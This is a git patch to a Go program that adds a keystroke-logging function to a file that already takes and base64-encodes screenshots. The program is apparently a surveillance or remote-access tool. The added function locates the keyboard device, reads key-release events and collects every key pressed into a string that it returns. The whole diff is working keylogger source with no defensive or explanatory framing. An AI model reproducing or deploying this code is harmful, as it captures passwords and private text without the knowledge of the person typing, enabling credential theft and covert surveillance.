From 3b006b78e759c87be41ffbbb11c977eff716dfd2 Mon Sep 17 00:00:00 2001 From: Nemzyxt Date: Wed, 9 Nov 2022 09:24:44 +0300 Subject: [PATCH] Added keylogging function --- delta.go | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/delta.go b/delta.go index 24e3468..3e0c03e 100644 --- a/delta.go +++ b/delta.go @@ -17,6 +17,7 @@ import ( "time" "github.com/kbinani/screenshot" + "github.com/MarinX/keylogger" ) const ( @@ -148,4 +149,27 @@ func take_screenshot() (string) { b64_string := b64.StdEncoding.EncodeToString(content) os.Remove("scrshot.png") return b64_string +} + +// log keystrokes +func log_keystrokes() (string, string) { + keyboard := keylogger.FindKeyboardDevice() + if len(keyboard) <= 0 { + return "", "No keyboard found" + } + if k, err := keylogger.New(keyboard); err != nil { + return "", err.Error() + } else { + logs := "" + events := k.Read() + for e := range events { + switch e.Type { + case keylogger.EvKey: + if e.KeyRelease() { + logs += e.KeyString() + } + } + } + return logs, "" + } } \ No newline at end of file